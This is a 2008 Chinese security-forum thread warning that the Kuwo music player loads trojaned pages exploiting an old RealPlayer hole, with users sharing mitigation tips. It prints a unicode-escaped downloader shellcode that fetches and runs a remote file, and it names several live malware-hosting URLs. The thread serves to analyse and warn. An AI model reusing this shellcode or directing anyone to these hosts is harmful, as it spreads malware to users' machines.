酷我音乐盒播放器被人挂马，运行其软件就会中毒

zzh161

很老的一个挂马吧，只是挂real漏洞，如果电脑没有装realplayer，或者是最新的RealPlayer就不会中毒

hxxp://down.hs7yue.cn/down/ko.css

原帖由 zzh161 于 2008-10-7 15:32 发表
很老的一个挂马吧，只是挂real漏洞，如果电脑没有装realplayer，或者是最新的RealPlayer就不会中毒

hxxp://down.hs7yue.cn/down/ko.css

这只是酷我音乐播放器其中的一个挂马，其他的忘记提取了，近期用酷我音乐播放器在线听音乐的要小心了.........

zzh161

都是下到临时文件夹，注意打打补丁什么的，有HIPS就限制临时文件夹的文件运行，记得经常清理下临时文件夹

lg560852

http://www.zmjjjyy.cn/new/a133.css
我找到了这个，ko在哪呢？？

zzh161

你看到的只是

%u0C0C%u0C0C%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u32e3%u8b49%u8b34%uee01%uff31%u31fc%uacc0%ue038%u0774%ucfc1%u010d%uebc7%u3bf2%u247c%u7514%u8be1%u245a%ueb01%u8b66%u4b0c%u5a8b%u011c%u8beb%u8b04%ue801%u02eb%uc031%u5e5f%u5b5d%u08c2%u5e00%u306a%u6459%u198b%u5b8b%u8b0c%u1c5b%u1b8b%u5b8b%u5308%u8e68%u0e4e%uffec%u89d6%u53c7%u8e68%u0e4e%uffec%uebd6%u5a50%uff52%u89d0%u52c2%u5352%uaa68%u0dfc%uff7c%u5ad6%u4deb%u5159%uff52%uebd0%u5a72%u5beb%u6a59%u6a00%u5100%u6a52%uff00%u53d0%ua068%uc9d5%uff4d%u5ad6%uff52%u53d0%u9868%u8afe%uff0e%uebd6%u5944%u006a%uff51%u53d0%u7e68%ue2d8%uff73%u6ad6%uff00%ue8d0%uffab%uffff%u7275%u6d6c%u6e6f%u642e%u6c6c%ue800%uffae%uffff%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%ue800%uffa0%uffff%u2e2e%u785c%ue800%uffb7%uffff%u2e2e%u785c%ue800%uff89%uffff%u7468%u7074%u2f3a%u772f%u7777%u7a2e%u6a6d%u6a6a%u7979%u632e%u2f6e%u656e%u2f77%u3161%u3333%u632e%u7373

其实这类型的挂马都是生成的，里面肯定有一句

varMmUrl=unescape("%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u7368%u7937%u6575%u632e%u2f6e%u6f64%u6e77%u6b2f%u2e6f%u7363%u0073");

这句直接解回来就可以

lg560852

嗯嗯，多谢！
以前曾经被这个url的骗到过一次，以后看来每个都要解一下了。
另外，网页应该还有好多的，比如
http://wm.zdq003.cn/a133/ms06014.htm[/url]
不知那个酷我音乐盒打开的页面是哪个？

zzh161

不知道。。。我不用那东西。。

lg560852

哦，还是谢谢
PS：那个ko.css和a133.css应该是同1个

涛声依旧

我说呢？前几天下了一个就不好使！

yunhan123

这几天都没开过。一般用QQ音乐。父母会去用用酷我。。